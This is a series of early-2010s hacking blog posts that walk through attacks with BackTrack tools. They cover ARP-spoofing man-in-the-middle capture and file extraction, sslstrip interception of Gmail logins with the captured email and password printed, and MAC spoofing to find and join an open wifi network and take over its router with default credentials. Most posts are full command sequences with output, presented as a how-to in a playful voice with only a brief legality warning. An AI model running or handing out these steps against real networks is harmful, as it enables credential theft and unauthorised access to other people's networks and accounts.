Antimeter: Detect & Kill Metasploit Meterpreter! — PenTestIT

9 07 2010

Antimeter is a very useful tool for internal security administrators who can scan their systems for meterpreter session remains after they have successfully exploited any system with Metasploit.

Today most of the penetration testers who can not afford heavily paid security software’s use Metasploit for penetration testing. Couple of days back, the latest version of Metasploit was released . As most of these tools work or exploit in memory of target system, after a successful exploitation, it is necessary to clean the system . In such situations antimeter comes handy. Also, you could use it on an important production server to check for any meterpreter shells and kill them if detected.

via Antimeter: Detect & Kill Metasploit Meterpreter! — PenTestIT.





mitm packet capturing & basic analysis

17 06 2010

We all know the difference between a hub & a switch (if not, this is not the blog for you). As most networks these days will be switched, its no longer a case of plug in & dump packets. So here is the easy way to capture traffic from the network for investigation later. This works with wired or wireless. This is a combination of skillz in my SSLSTRIP post and the Image Extraction post.

Simply put, we use arpspoof to convince the gateway that we are the target, and the target that we are the gateway.

Target selection (our IP is 172.16.189.136, default gateway is 172.16.189.2)

root@bt:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:ab:b2:2c
          inet addr:172.16.189.136  Bcast:172.16.189.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3682 (3.6 KB)  TX bytes:1753 (1.7 KB)
          Interrupt:19 Base address:0x2000

root@bt:~# netstat -nr
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
172.16.189.0    0.0.0.0         255.255.255.0   U         0 0          0 eth0
0.0.0.0         172.16.189.2    0.0.0.0         UG        0 0          0 eth0

root@bt:~# nmap -sP 172.16.189.1-255

Starting Nmap 5.21 ( http://nmap.org ) at 2010-06-17 21:10 EST
Nmap scan report for 172.16.189.1
Host is up (0.00018s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 172.16.189.2
Host is up (0.0015s latency).
MAC Address: 00:50:56:E5:F7:F0 (VMware)
Nmap scan report for 172.16.189.135
Host is up (0.00076s latency).
MAC Address: 00:0C:29:09:04:71 (VMware)
Nmap scan report for 172.16.189.136
Host is up.
Nmap scan report for 172.16.189.254
Host is up (0.00050s latency).
MAC Address: 00:50:56:F8:EC:20 (VMware)
Nmap done: 255 IP addresses (5 hosts up) scanned in 4.36 seconds
root@bt:~#

So we have a couple of other hosts there, we will use 172.16.189.135.

We want to get traffic from 172.16.189.135 to the gateway (internet) sent to us, and traffic from the gateway back to 172.16.189.135 also sent to us, we do that with the following arpspoof commands.

Windows host before arpspoof:

C:\Documents and Settings\Administrator>arp -a

Interface: 172.16.189.135 --- 0x2
  Internet Address      Physical Address      Type
  172.16.189.2          00-50-56-e5-f7-f0     dynamic

arpspoof commands to run on our backtrack box, not forgetting to enable ip forwarding

root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@bt:~# arpspoof -i eth0 -t 172.16.189.135 172.16.189.2
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 172.16.189.2 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 172.16.189.2 is-at 0:c:29:ab:b2:2c

root@bt:~# arpspoof -i eth0 -t 172.16.189.2 172.16.189.135
0:c:29:ab:b2:2c 0:50:56:e5:f7:f0 0806 42: arp reply 172.16.189.135 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:50:56:e5:f7:f0 0806 42: arp reply 172.16.189.135 is-at 0:c:29:ab:b2:2c

and our windows box ?

C:\Documents and Settings\Administrator>arp -a

Interface: 172.16.189.135 --- 0x2
  Internet Address      Physical Address      Type
  172.16.189.2          00-0c-29-ab-b2-2c     dynamic
  172.16.189.136        00-0c-29-ab-b2-2c     dynamic

and of course, kick off your tcpdump session (without the arpspoof traffic)

root@bt:~# tcpdump -s0 -i eth0 not arp -w eth0capture
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

so, we have a shiny new file, full of data goodness – what to do with it. There are several ways you can look at the data:
urlsnarf – prints http requests
driftnet – extracts files from capture
tcpxtract – another extractor from captures **Needs installation, but it got me the best results**

Setup the apps to listen on the local interface in separate windows, then feed your packets into that interface with tcpreplay.

root@bt:~# urlsnarf -i lo
urlsnarf: listening on lo [tcp port 80 or port 8080 or port 3128]

root@bt:~# driftnet -i lo
driftnet: saving `/tmp/driftnet-5VbG3g/driftnet-4c1a110b643c9869.jpeg' as `driftnet-0.jpeg'
driftnet: saving `/tmp/driftnet-5VbG3g/driftnet-4c1a110b643c9869.jpeg' as `driftnet-1.jpeg'

root@bt:~# tcpreplay -i lo eth0capture-s0
sending out lo
processing file: eth0capture-s0
Actual: 18412 packets (15604605 bytes) sent in 105.88 seconds
Rated: 148490.3 bps, 1.13 Mbps/sec, 175.20 pps

Statistics for network device: lo
        Attempted packets:         18412
        Successful packets:        18412
        Failed packets:            0
        Retried packets (ENOBUFS): 0
        Retried packets (EAGAIN):  0


root@bt:~# apt-get install tcpxtract
root@bt:~# mkdir tcpxtract
root@bt:~# tcpxtract -f eth0capture-s0 -o tcpxtract/
Found file of type "html" in session [207.46.170.10:20480 -> 172.16.189.135:7429], exporting to tcpxtract/00000000.html
Found file of type "html" in session [207.46.170.10:20480 -> 172.16.189.135:7429], exporting to tcpxtract/00000001.html

There we go, we extracted some info from the packet capture. Next time I will cover a much nicer util to get our files out of the capture file.





image extraction from packet capture

13 06 2010

Some very interesting tools used in this vid, showing that you dont need to be watching live streams to catch interesting fish :D

Great video on using ettercap to capture traffic & a selection of tools to extract data (mainly images) from the traffic.

ettercap
foremost
tcpxtract (can be installed from the backtrack repos)
tcpreplay
urlsnarf/driftnet –> dsniff suite

Linked from the following post from “adaywithtape





capturing credentials with sslstrip

11 06 2010

You may or may not have seen this tool before, there are plenty of videos around that show you how to use it – let me add one more “howto” & show you my fun with it.

Scenario:

You are attached to the same network (sorry kids, not a remote vector) as the victim with a backtrack (doesnt need to be backtrack, but I use it regularly) machine and have downloaded sslstrip.

Get it: download & unpack

root@bt:~/scripts/sslstrip# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
root@bt:~/scripts/sslstrip# tar zxvf sslstrip-0.7.tar.gz

Setup: you need to enable ip forwarding in linux & setup a forward for all port 80 traffic to port 10000 (default sslstrip port). Run sslstrip & get it to write the credentials out to a file with -w

root@bt:~/scripts/sslstrip# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:~/scripts/sslstrip# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
root@bt:~/scripts/sslstrip/sslstrip-0.7# python sslstrip.py -f -w sslcreds-captured

Once this is done, we are nearly there – now to get users to send their traffic through your machine on the way to the gateway. In this case, the target is 192.168.0.141 & the real gateway is 192.168.0.254

root@bt:~# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 192.168.0.254 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 192.168.0.254 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 192.168.0.254 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 192.168.0.254 is-at 0:c:29:ab:b2:2c

Cool – so now what … what have we actually done … lets deconstruct it a little:

Firstly linux has been configured to forward packets, we setup a redirect iptables rule to redirect all traffic except port 80, which it sends to sslstrip which we ran on the default port 10000 and we are writing out to log sslcreds-captured.

Next was to get the target to send their traffic to us instead of the gateway, using arpspoof we are telling our target that the gateway address of 192.168.0.254 is actually our nic

Our Target machine nic is 00-0C-29-09-04-71, which arpspoof automatically gathered when we ran it.

We could have easily gathered this from the backtrack machine

root@bt:~# nmap -sP 192.168.0.141

Starting Nmap 5.21 ( http://nmap.org ) at 2010-06-10 22:18 EST
Nmap scan report for 192.168.0.141
Host is up (0.00049s latency).
MAC Address: 00:0C:29:09:04:71 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

but to show the actual client config, here is the windows ipconfig /all output

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix  . :
Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

Physical Address. . . . . . . . . : 00-0C-29-09-04-71
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 192.168.0.141
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.254
DHCP Server . . . . . . . . . . . : 192.168.0.254
DNS Servers . . . . . . . . . . . : 8.8.8.8
Lease Obtained. . . . . . . . . . : Thursday, 10 June 2010 8:54:17 PM
Lease Expires . . . . . . . . . . : Friday, 11 June 2010 8:54:17 PM

So, what does the arp spoofing look like on the target
Before:

C:\Documents and Settings\Administrator>arp -a

Interface: 192.168.0.141 --- 0x2
Internet Address      Physical Address      Type
192.168.0.254         00-02-b3-a9-a5-13     dynamic

After:

C:\Documents and Settings\Administrator>arp -a

Interface: 192.168.0.141 --- 0x2
Internet Address      Physical Address      Type
192.168.0.254         00-0c-29-ab-b2-2c     dynamic

Notice the original gateway MAC address 00-02-b3-a9-a5-13 has been replaced by our attacker MAC 00-0c-29-ab-b2-2c.

User Experience:
We will use GMAIL as an example of this, but many many web pages use http for the body & simply use https for form post, which this script takes advantage of.

So our user wants to login to their GMAIL account, so they fire up the browser & type in http://www.gmail.com

Normal GMAIL page:

***Notice the url is https://http://www.google.com/accounts/………; & there is a padlock on the right hand side***

sslstrip GMAIL page:

***Notice the url is actually http://http://www.google.com/accounts/………; & there is a padlock on the left hand side, this padlock is actually a favicon of a padlock added by sslstrip to trick those not paying attention***

This is the only subtle difference that the user gets, sslstrip detects the https tags in the pages requested & re-writes them as http back to the client. From sslstrip to the server is still https, so GMAIL is happy its an ssl connection & the target is happy as he sees the identical logon page he is used to seeing, only its delivered as an http page, not https. As we are not trying to rewrite an https page back to the user, there are zero certificate popups etc.

So he logs in, gets his mail & lives happily ever after:

THE FUN BIT:

Remember we were writing to an output file

root@bt:~/scripts/sslstrip/sslstrip-0.7# cat sslcreds-captured
2010-06-10 22:07:25,992 SECURE POST Data (www.google.com):
ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3F&service=mail&rm=false&dsh=3964009503580918215&ltmpl=default&ltmpl=default&scc=1&GALX=EN7ZeXSvfzo&Email=johndoe@gmail.com&Passwd=J0hN%24_Sup3Rl33tP@ssw0rd&rmShown=1&signIn=Sign+in&asts=

The most interesting bits of that are ..
Email=johndoe@gmail.com
Passwd=J0hN%24_Sup3Rl33tP@ssw0rd
*note, the %24 is actually the hex value for the dollar ‘$’ symbol
Because johndoe is super secure & has chosen a long password he must be safe …. except for that one time he connected at the wrong internet cafe ……

GaMe-OvEr





nmap scripting engine

10 06 2010

An interesting tidbit of information that I was recently shown – figured it was too good not to share.

Quoted from “http://nmap.org/book/nse.html

“The Nmap Scripting Engine (NSE) is one of Nmap’s most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of scripts distributed with Nmap, or write their own to meet custom needs.”

Details of the scripts are here: http://nmap.org/nsedoc/

example uses:

banner grabbing
http://nmap.org/nsedoc/scripts/banner.html
Download: http://nmap.org/svn/scripts/banner.nse

User Summary

A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.

The banner will be truncated to fit into a single line, but an extra line may be printed for every increase in the level of verbosity requested on the command line.
Example Usage

nmap -sV –script=banner <target>

Script Output

21/tcp open ftp
|_ banner: 220 FTP version 1.0\x0D\x0A

smb-check-vulns
http://nmap.org/nsedoc/scripts/smb-check-vulns.html
Download: http://nmap.org/svn/scripts/smb-check-vulns.nse

User Summary

Check for vulnerabilities:

* MS08-067, a Windows RPC vulnerability
* Conficker, an infection by the Conficker worm
* Unnamed regsvc DoS, a denial-of-service vulnerability I accidentically found in Windows 2000
* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)

WARNING: These checks are dangerous, and are very likely to bring down a server. These should not be run in a production environment unless you (and, more importantly, the business) understand the risks!

Example Usage

nmap –script smb-check-vulns.nse -p445 <host>
sudo nmap -sU -sS –script smb-check-vulns.nse -p U:137,T:139 <host>

Script Output

Host script results:
| smb-check-vulns:
| | MS08-067: NOT VULNERABLE
| | Conficker: Likely CLEAN
| | regsvc DoS: NOT VULNERABLE
|_ |_ SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

smb-enum-shares
http://nmap.org/nsedoc/scripts/smb-enum-shares.html
Download: http://nmap.org/svn/scripts/smb-enum-shares.nse

User Summary

Attempts to list shares using the srvsvc.NetShareEnumAll MSRPC function and retrieve more information about them using srvsvc.NetShareGetInfo. If access to those functions is denied, a list of common share names are checked.

Example Usage

nmap –script smb-enum-shares.nse -p445 <host>
sudo nmap -sU -sS –script smb-enum-shares.nse -p U:137,T:139 <host>

Script Output

Host script results:
| smb-enum-shares:
| | ADMIN$
| | | Type: STYPE_DISKTREE_HIDDEN
| | | Comment: Remote Admin
| | | Users: 0, Max: <unlimited>
| | | Path: C:\WINNT
| | | Anonymous access: <none>
| | |_ Current user (‘administrator’) access: READ/WRITE
| | C$
| | | Type: STYPE_DISKTREE_HIDDEN
| | | Comment: Default share
| | | Users: 0, Max: <unlimited>
| | | Path: C:\
| | | Anonymous access: <none>
| | |_ Current user (‘administrator’) access: READ
| | IPC$
| | | Type: STYPE_IPC_HIDDEN
| | | Comment: Remote IPC
| | | Users: 1, Max: <unlimited>
| | | Path:
| | | Anonymous access: READ <not a file share>
|_ |_ |_ Current user (‘administrator’) access: READ <not a file share>





where are we

9 06 2010

Ok, so first things first – of course you didnt just connect to your neighbors open wifi, you had permission from the owner, or you were playing with your own environment (as this may be illegal activity in some parts – YOU HAVE BEEN WARNED). For me, this is all in my own lab environment – its big, complicated & takes up heaps of power – but thats for later blogging.

Right, where were we – oh yeah, we connected to the NETGEAR access point & got a DHCP lease – lets see what’s available to us.

We dont want to make too much noise just yet, so a little delicate probing is in order.

root@bt:~# ping -c 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=0 ttl=64 time=0.914 ms

--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
root@bt:~#
root@bt:~#
root@bt:~# nmap -p 80 192.168.0.1

Starting Nmap 4.53 ( http://insecure.org ) at 2010-06-09 16:40 EST
Interesting ports on 192.168.0.1:
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.099 seconds

right – so its reachable & has port 80 open. If you can stand being a little noisier, nmap can do better than that for port 80

root@bt:~# nmap -sV -p 80 192.168.0.1

Starting Nmap 4.53 ( http://insecure.org ) at 2010-06-09 16:43 EST
Interesting ports on 192.168.0.1:
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.11

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.226 seconds

so its running an apache web server (dont leave comments about netgear’s not running apache – this is a doctored entry – made up from bits & pieces).
So we can fire up the web browser & head over to http://192.168.0.1 – what this … a password prompt …..

as the default SSID is in use & there is no security – chances are the default password will work here admin:password – BINGO !! we own the router





knock knock knock

9 06 2010

Ok, so in the last one, we found out that NETGEAR is open

00:09:5B:1C:AA:1D 11 16 10 0 0 11 54. OPN NETGEAR

Following on from the last post, we want to drop our interface back out of monitor mode

root@bt:~# airmon-ng stop wlan0

Interface       Chipset         Driver

wlan0           ZyDAS 1211      zd1211rw - [phy0]
                                (monitor mode disabled)
mon0            ZyDAS 1211      zd1211rw - [phy0]

make sure the interface is up with the usual

root@bt:~# ifconfig wlan0 up

once the interface up, its time to associate with the access point

root@bt:~# iwconfig wlan0 essid NETGEAR
root@bt:~# iwconfig
wlan0     IEEE 802.11bg  ESSID:"NETGEAR"
          Mode:Managed  Frequency:2.437 GHz  Access Point: 00:09:5B:1C:AA:1D
          Bit Rate=1 Mb/s   Tx-Power=27 dBm
          Retry min limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=17/100  Signal level=17/100
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

all things being equal, we should be associated with the wireless network NETGEAR through the access point we saw in the beginning 00:09:5B:1C:AA:1D. Now what … IP address of course

oot@bt:~# dhclient wlan0
There is already a pid file /var/run/dhclient.pid with pid 9985
killed old client process, removed PID file
Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/

mon0: unknown hardware address type 803
mon0: unknown hardware address type 803
Listening on LPF/wlan0/00:07:d1:88:11:0f
Sending on   LPF/wlan0/00:07:d1:88:11:0f
Sending on   Socket/fallback
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 4
DHCPOFFER of 192.168.0.10 from 192.168.0.1
DHCPREQUEST of 192.168.0.10 on wlan0 to 255.255.255.255 port 67
DHCPACK of 192.168.0.10 from 192.168.0.1
bound to 192.168.0.10 -- renewal in 39170 seconds.
root@bt:~#
root@bt:~#
root@bt:~# ifconfig wlan0
wlan0     Link encap:Ethernet  HWaddr 00:07:d1:88:11:0f
          inet addr:192.168.0.10  Bcast:192.168.0.255  Mask:255.255.255.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
root@bt:~#
root@bt:~# cat /etc/resolv.conf
domain mydomain
search mydomain
nameserver 192.168.0.1
root@bt:~#
root@bt:~# netstat -nr
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.0.0     0.0.0.0         255.255.255.0   U         0 0          0 wlan0
0.0.0.0         192.168.0.1     0.0.0.0         UG        0 0          0 wlan0

so there we have it, we connected to the wireless network, received an IP address, dns & default route from the DHCP server & still havent used any of the l33t fun tools in backtrack yet.





soft target selection

8 06 2010

So for the first one, lets ease into things. I have called it soft target selection as this isnt anything too exciting, no cracking, no exploiting – just natural selection ;)

So, hypothetically you are using a wifi sniffer & you stumble across a nice juicy open wifi …. so whats next …. ok – we jumped ahead a step there. How did we come to find a open wifi ? – well, there are several apps around – try here.

As with most things I will be posting, I will focus on using backtrack and in the examples, I am using a usb wifi dongle.

dmesg will hopefully show us the dongle attached

root@bt:~# dmesg
usb 1-1: new high speed USB device using ehci_hcd and address 3
usb 1-1: configuration #1 chosen from 1 choice
usb 1-1: reset high speed USB device using ehci_hcd and address 3
phy1: Selected rate control algorithm 'minstrel'
zd1211rw 1-1:1.0: phy1
usb 1-1: firmware: requesting zd1211/zd1211_ub
usb 1-1: firmware: requesting zd1211/zd1211_uphr
zd1211rw 1-1:1.0: firmware version 4605
zd1211rw 1-1:1.0: zd1211 chip 0ace:1211 v4330 high 00-03-6d RF2959_RF pa0 -----
ADDRCONF(NETDEV_UP): wlan0: link is not ready

ok, so backtrack sees our adaptor, now we need to get it up & running (dont forget the all important macchanger command)

root@bt:~# ifconfig -a
wlan0     Link encap:Ethernet  HWaddr 00:40:29:47:ca:fa
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
root@bt:~# macchanger -A wlan0
Current MAC: 00:40:29:47:ca:fa (Compex)
Faked MAC:   00:07:d1:88:11:0f (Spectrum Signal Processing Inc.)
root@bt:~# ifconfig wlan0 up

kick the card into monitor mode

root@bt:~# airmon-ng start wlan0

Interface       Chipset         Driver

wlan0           ZyDAS 1211      zd1211rw - [phy0]
                                (monitor mode enabled on mon0)

and check for the wireless nodes around you

root@bt:~# airodump-ng mon0

 CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:09:5B:1C:AA:1D   11  16       10        0    0  11  54.  OPN              NETGEAR
 00:14:6C:7A:41:81   34 100       57       14    1   9  11e  WEP  WEP         bigbear
 00:14:6C:7E:40:80   32 100      752       73    2   9  54   WPA  TKIP   PSK  teddy                             

 BSSID              STATION            PWR   Rate   Lost  Packets  Probes

 00:14:6C:7A:41:81  00:0F:B5:32:31:31   51   36-24    2       14
 (not associated)   00:14:A4:3F:8D:13   19    0-0     0        4    mossy
 00:14:6C:7A:41:81  00:0C:41:52:D1:D1   -1   36-36    0        5
 00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35   54-54    0       99    teddy

BINGO!!
So, NETGEAR is OPEN – no encryption at all …. FAIL!

Well – I said it wasnt too exciting, we found an open wifi access point – tune in next time to see what we can do with it…








Follow

Get every new post delivered to your Inbox.